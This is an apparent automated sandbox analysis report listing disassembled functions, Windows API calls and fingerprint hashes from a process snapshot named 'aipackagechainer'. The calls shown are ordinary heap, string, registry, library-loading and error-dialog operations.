                                                                                                                                                                                                                                                  Function 00224150 Relevance: 12.2, APIs: 8, Instructions: 228memoryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetErrorInfo.OLEAUT32(00000000,00000000,4938EAB5,?,?), ref: 002241BC
                                                                                                                                                                                                                                                  • SysStringLen.OLEAUT32(00000000), ref: 0022429F
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(-000000FF,?), ref: 002242E8
                                                                                                                                                                                                                                                  • HeapFree.KERNEL32(00000000,-000000FF,?), ref: 002242EE
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(-000000FF,00000000,?,00000000,00000000,00000000,4938EAB5,?,?), ref: 0022431B
                                                                                                                                                                                                                                                  • HeapFree.KERNEL32(00000000,-000000FF,00000000,?,00000000,00000000,00000000,4938EAB5,?,?), ref: 00224321
                                                                                                                                                                                                                                                  • SysFreeString.OLEAUT32(00000000), ref: 00224339
                                                                                                                                                                                                                                                  • SetErrorInfo.OLEAUT32(00000000,00000000,?), ref: 002243E6
                                                                                                                                                                                                                                                    • Part of subcall function 00223C80: GetProcessHeap.KERNEL32(002243D3,002243D3), ref: 00223DBD
                                                                                                                                                                                                                                                    • Part of subcall function 00223C80: HeapFree.KERNEL32(00000000,002243D3,002243D3), ref: 00223DC3
                                                                                                                                                                                                                                                    • Part of subcall function 00223C80: GetProcessHeap.KERNEL32(002242D4,?), ref: 00223DF7
                                                                                                                                                                                                                                                    • Part of subcall function 00223C80: HeapFree.KERNEL32(00000000,002242D4,?), ref: 00223DFD
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Heap$Free$Process$ErrorInfoString
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 976288773-0
                                                                                                                                                                                                                                                  • Opcode ID: 85f900858bf682fd535e5866a91aadada39560fc21f3389a5b1631adc6bde4fb
                                                                                                                                                                                                                                                  • Instruction ID: baa28d35551417b5f1cf7b7bafbb4976e1fb6ab418125b8d720c1f2af405ecef
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 85f900858bf682fd535e5866a91aadada39560fc21f3389a5b1631adc6bde4fb
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2D918F70D11219EBDF10EFE8D845BEEBBB4EF05314F244259E815AB2C1DB789A14CBA1
                                                                                                                                                                                                                                                  Function 00279FF8 Relevance: 12.1, APIs: 8, Instructions: 73memoryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,0027A1A2), ref: 0027A01C
                                                                                                                                                                                                                                                  • HeapAlloc.KERNEL32(00000000,?,0027A1A2), ref: 0027A023
                                                                                                                                                                                                                                                    • Part of subcall function 0027A0EE: IsProcessorFeaturePresent.KERNEL32(0000000C,0027A00A,00000000,?,0027A1A2), ref: 0027A0F0
                                                                                                                                                                                                                                                  • InterlockedPopEntrySList.KERNEL32(00000000,00000000,?,0027A1A2), ref: 0027A033
                                                                                                                                                                                                                                                  • VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,0027A1A2), ref: 0027A05A
                                                                                                                                                                                                                                                  • RaiseException.KERNEL32(C0000017,00000000,00000000,00000000,?,0027A1A2), ref: 0027A06E
                                                                                                                                                                                                                                                  • InterlockedPopEntrySList.KERNEL32(00000000,?,0027A1A2), ref: 0027A081
                                                                                                                                                                                                                                                  • VirtualFree.KERNEL32(00000000,00000000,00008000,?,0027A1A2), ref: 0027A094
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AllocEntryHeapInterlockedListVirtual$ExceptionFeatureFreePresentProcessProcessorRaise
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2460949444-0
                                                                                                                                                                                                                                                  • Opcode ID: 67b94bf44d452f165143572bf72fad9fbbeef035bfc1247e6cf3d7882073be0c
                                                                                                                                                                                                                                                  • Instruction ID: ccf1e2be7344b6e144508eca3561157c4419b68f3254ae163a798f79456a1dd2
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 67b94bf44d452f165143572bf72fad9fbbeef035bfc1247e6cf3d7882073be0c
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A811E671661622ABEB311B78BD4CF2E335CEF85761F118821FD09E6150EA74CC1196A7
                                                                                                                                                                                                                                                  Function 0022EF00 Relevance: 10.8, APIs: 7, Instructions: 347stringCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0022F8C0: CharNextW.USER32(?,00000000,00000000,74DEF360,?,0023051F,00000000,00000000,?,?,?,00000000,00000000,002307C3,?,?), ref: 0022F8FB
                                                                                                                                                                                                                                                    • Part of subcall function 0022F8C0: CharNextW.USER32(00000001,?,00000000,00000000,74DEF360,?,0023051F,00000000,00000000,?,?,?,00000000,00000000,002307C3,?), ref: 0022F91B
                                                                                                                                                                                                                                                    • Part of subcall function 0022F8C0: CharNextW.USER32(00000000,?,00000000,00000000,74DEF360,?,0023051F,00000000,00000000,?,?,?,00000000,00000000,002307C3,?), ref: 0022F92B
                                                                                                                                                                                                                                                    • Part of subcall function 0022F8C0: CharNextW.USER32(00000027,?,00000000,00000000,74DEF360,?,0023051F,00000000,00000000,?,?,?,00000000,00000000,002307C3,?), ref: 0022F934
                                                                                                                                                                                                                                                    • Part of subcall function 0022F8C0: CharNextW.USER32(?,?,00000000,00000000,74DEF360,?,0023051F,00000000,00000000,?,?,?,00000000,00000000,002307C3,?), ref: 0022F9A0
                                                                                                                                                                                                                                                  • lstrcmpiW.KERNEL32(?,002BD564,?,4938EAB5,?,00000000,00000000), ref: 0022EF87
                                                                                                                                                                                                                                                  • lstrcmpiW.KERNEL32(?,002BC444), ref: 0022EF9E
                                                                                                                                                                                                                                                  • VarUI4FromStr.OLEAUT32(?,00000000,00000000,?), ref: 0022F1F4
                                                                                                                                                                                                                                                  • CharNextW.USER32(?,?), ref: 0022F2E5
                                                                                                                                                                                                                                                  • CharNextW.USER32(00000000), ref: 0022F2FB
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CharNext$lstrcmpi$From
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 298784196-0
                                                                                                                                                                                                                                                  • Opcode ID: 647b6efe9bfe7b9a81ea7507df6f47c667883152ca821cb49bfd41a16bb913a0
                                                                                                                                                                                                                                                  • Instruction ID: 0b5460adbdc206eba3ed1e3864738f2ff855c5d3a17dde2cbaa000bccc7f2d46
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 647b6efe9bfe7b9a81ea7507df6f47c667883152ca821cb49bfd41a16bb913a0
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D0D1E27192026AEBDF64CFA4DE84BEE77B4EF08300F10417AE955AB290E7749E54CB50
                                                                                                                                                                                                                                                  Function 0023E080 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 327COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,00000080,00000001,Close,50000001,?,00000128,?,00000032,0000000E,00000082,000001F5,?,50000000,?,00000026), ref: 0023E36B
                                                                                                                                                                                                                                                  • DialogBoxIndirectParamW.USER32(00000000,00000000,?,0023E4B0,?), ref: 0023E3BA
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: DialogHandleIndirectModuleParam
                                                                                                                                                                                                                                                  • String ID: Close$Copy$Details >>$Send Error Report
                                                                                                                                                                                                                                                  • API String ID: 279259766-113472931
                                                                                                                                                                                                                                                  • Opcode ID: 5386d13deac87a8855fed3a198cddfd368f4bb337ea4a528a135ff74ed172c2e
                                                                                                                                                                                                                                                  • Instruction ID: 17c3cb49726b32eae0b9bed26dc90908e105cd0ca19b635aedb397a5d9812be9
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5386d13deac87a8855fed3a198cddfd368f4bb337ea4a528a135ff74ed172c2e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F2C1ADB0A10609ABEF14DF64CC55BEEB7B5EF09710F114229F515BB2D0E7B0AA15CB90
                                                                                                                                                                                                                                                  Function 0023A080 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 324COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SymGetLineFromAddr.DBGHELP(?,?,?,00000002,4938EAB5), ref: 0023A12E
                                                                                                                                                                                                                                                    • Part of subcall function 00239AE0: LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr), ref: 00239B3E
                                                                                                                                                                                                                                                    • Part of subcall function 00239AE0: GetProcAddress.KERNEL32(00000000), ref: 00239B45
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddrAddressFromLibraryLineLoadProc
                                                                                                                                                                                                                                                  • String ID: -> $%hs()$%hs:%ld$-----$[0x%.8Ix]
                                                                                                                                                                                                                                                  • API String ID: 2196328783-2864510326
                                                                                                                                                                                                                                                  • Opcode ID: 91dff01121bc6aa3bf4f5ca2542984abe629c8f2b1a164eed7dd74b96e05804a
                                                                                                                                                                                                                                                  • Instruction ID: e9ed775fff60d05455ad9dac4622eb10ee1bec466f891a3029088a235be49f9c
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 91dff01121bc6aa3bf4f5ca2542984abe629c8f2b1a164eed7dd74b96e05804a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4FE19A70D202689ADB28DF64CC987DEBBB5EF54304F1042D9E509A7281DBB86BD4CF91
                                                                                                                                                                                                                                                  Function 00259800 Relevance: 10.6, APIs: 7, Instructions: 125COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetActiveWindow.USER32 ref: 0025984D
                                                                                                                                                                                                                                                  • GetForegroundWindow.USER32 ref: 00259859
                                                                                                                                                                                                                                                  • SetLastError.KERNEL32(0000000E,?,?,?,4938EAB5), ref: 002598A0
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$ActiveErrorForegroundLast
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1822391280-0
                                                                                                                                                                                                                                                  • Opcode ID: e269697f60d652f6dd05fc7a8bc7460b72d5fb1ecd2c5c9c957b3ca18b00c1b2
                                                                                                                                                                                                                                                  • Instruction ID: d224f2acba68bbf4399cd404d7ad36ccfada97b1645c25e447f46984572d05eb
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e269697f60d652f6dd05fc7a8bc7460b72d5fb1ecd2c5c9c957b3ca18b00c1b2
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2241C531910219EBCB11DF64D849BCEBBB8FF16321F10826BE815A7291DB70AE54CB91
                                                                                                                                                                                                                                                  Function 0023CE70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 96fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0023CA10: SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,4938EAB5,00000000,00000000,?), ref: 0023CA65
                                                                                                                                                                                                                                                    • Part of subcall function 0023CA10: GetTempFileNameW.KERNEL32(00000000,shim_clone,00000000,?,?), ref: 0023CB2C
                                                                                                                                                                                                                                                  • GetFileVersionInfoSizeW.VERSION(?,00000000,Shlwapi.dll,4938EAB5,00000000,?,?,?,?,00000000,002A3695,000000FF,Shlwapi.dll,0023CE26,?), ref: 0023CEBD
                                                                                                                                                                                                                                                  • GetFileVersionInfoW.VERSION(?,00000000,002A3695,?,00000000,?,?,00000000,002A3695,000000FF,Shlwapi.dll,0023CE26,?), ref: 0023CEE9
                                                                                                                                                                                                                                                  • VerQueryValueW.VERSION(?,002BC42C,000000FF,?,?,?,00000000,002A3695,000000FF,Shlwapi.dll,0023CE26,?), ref: 0023CF01
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,00000000,002A3695,000000FF,Shlwapi.dll,0023CE26,?), ref: 0023CF2E
                                                                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?), ref: 0023CF41
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$InfoVersion$DeleteErrorFolderLastNamePathQuerySizeTempValue
                                                                                                                                                                                                                                                  • String ID: Shlwapi.dll
                                                                                                                                                                                                                                                  • API String ID: 2354181036-1687636465
                                                                                                                                                                                                                                                  • Opcode ID: 03858539472b132fff34bbc98ba093653ae893fd63128affaf27e1d311a8f3a4
                                                                                                                                                                                                                                                  • Instruction ID: d0347430965d111ee18b7b0dc3953024b3c1041331a79522f64e748cceb92d32
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 03858539472b132fff34bbc98ba093653ae893fd63128affaf27e1d311a8f3a4
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1D3192B1921209ABDF11CFA5DC44BEEFBB9FF09310F24415AE406B3240DB359A15CBA1
                                                                                                                                                                                                                                                  Function 0022F4A0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 86registrylibraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(Advapi32.dll,4938EAB5,?,00000000,00000000,?,00000000,Function_0008BEC0,000000FF,?,0022FD34,?,00000000), ref: 0022F4E3
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 0022F50C
                                                                                                                                                                                                                                                  • RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020006,00000000,4938EAB5,?,00000000,00000000,?,00000000,Function_0008BEC0,000000FF,?,0022FD34,?), ref: 0022F545
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 0022F558
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressCloseHandleModuleOpenProc
                                                                                                                                                                                                                                                  • String ID: Advapi32.dll$RegOpenKeyTransactedW
                                                                                                                                                                                                                                                  • API String ID: 823179699-3913318428
                                                                                                                                                                                                                                                  • Opcode ID: f4c2aa082e4e36d4a82acb6da3117ed4acb28525fbada6ab89432318e27b08cd
                                                                                                                                                                                                                                                  • Instruction ID: d505ea6a14913e9bbec6fa738dbb5016c2597da42701143f571f9732746990d3
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f4c2aa082e4e36d4a82acb6da3117ed4acb28525fbada6ab89432318e27b08cd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5F21D172A14215BFEB108F98ED44FAABBB8FB08750F50853AF814D7280E775A820CB50
                                                                                                                                                                                                                                                  Function 0023CD90 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(Shlwapi.dll,?,00000000,?,?,?,?,?,?,00240264,?), ref: 0023CDAB
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 0023CDC1
                                                                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 0023CDFA
                                                                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,00240264,?), ref: 0023CE16
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Library$Free$AddressLoadProc
                                                                                                                                                                                                                                                  • String ID: DllGetVersion$Shlwapi.dll
                                                                                                                                                                                                                                                  • API String ID: 1386263645-2240825258
                                                                                                                                                                                                                                                  • Opcode ID: fb3b61b086af4dd70df05cd541850f37c0e522644c94d2db4c5e0fd5ebe59f4b
                                                                                                                                                                                                                                                  • Instruction ID: 13b8ea3531616ebfd7fc05dc14a5c308b57ed5bf8d0d9b1ac102c5ca7161398d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: fb3b61b086af4dd70df05cd541850f37c0e522644c94d2db4c5e0fd5ebe59f4b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9921BE726143019BC700AF29E84566BB7E4BFEE711F91092DF549E3201EB31D8198BA2
                                                                                                                                                                                                                                                  Function 00275A90 Relevance: 10.6, APIs: 7, Instructions: 76COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ResetEvent.KERNEL32(?), ref: 00275AB4
                                                                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00275AC4
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00275AD4
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00275AFA
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00275B04
                                                                                                                                                                                                                                                  • CreateSemaphoreW.KERNEL32(00000000,00000000,00000003,00000000), ref: 00275B25
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00275B32
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$CreateEvent$CloseHandleResetSemaphore
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3310109588-0
                                                                                                                                                                                                                                                  • Opcode ID: 78a242fd0f0b36ada4e2f61a916eadd56ebe405750218fae14199b51082256e4
                                                                                                                                                                                                                                                  • Instruction ID: 8dcde2eb72659ad6ee13c6dc0bdfc8a3217ac57204040f056cd8fe4556acdc4f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 78a242fd0f0b36ada4e2f61a916eadd56ebe405750218fae14199b51082256e4
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5C214D70321B129BEB609F66DC59B27B7E8EF40745F108429E95AD6280EBF4E8108B64
                                                                                                                                                                                                                                                  Function 0027B319 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • __EH_prolog3.LIBCMT ref: 0027B320
                                                                                                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 0027B32A
                                                                                                                                                                                                                                                    • Part of subcall function 00218F60: std::_Lockit::_Lockit.LIBCPMT ref: 00218F90
                                                                                                                                                                                                                                                    • Part of subcall function 00218F60: std::_Lockit::~_Lockit.LIBCPMT ref: 00218FB8
                                                                                                                                                                                                                                                  • codecvt.LIBCPMT ref: 0027B364
                                                                                                                                                                                                                                                  • std::_Facet_Register.LIBCPMT ref: 0027B37B
                                                                                                                                                                                                                                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 0027B39B
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
                                                                                                                                                                                                                                                  • String ID: px-
                                                                                                                                                                                                                                                  • API String ID: 712880209-159981257
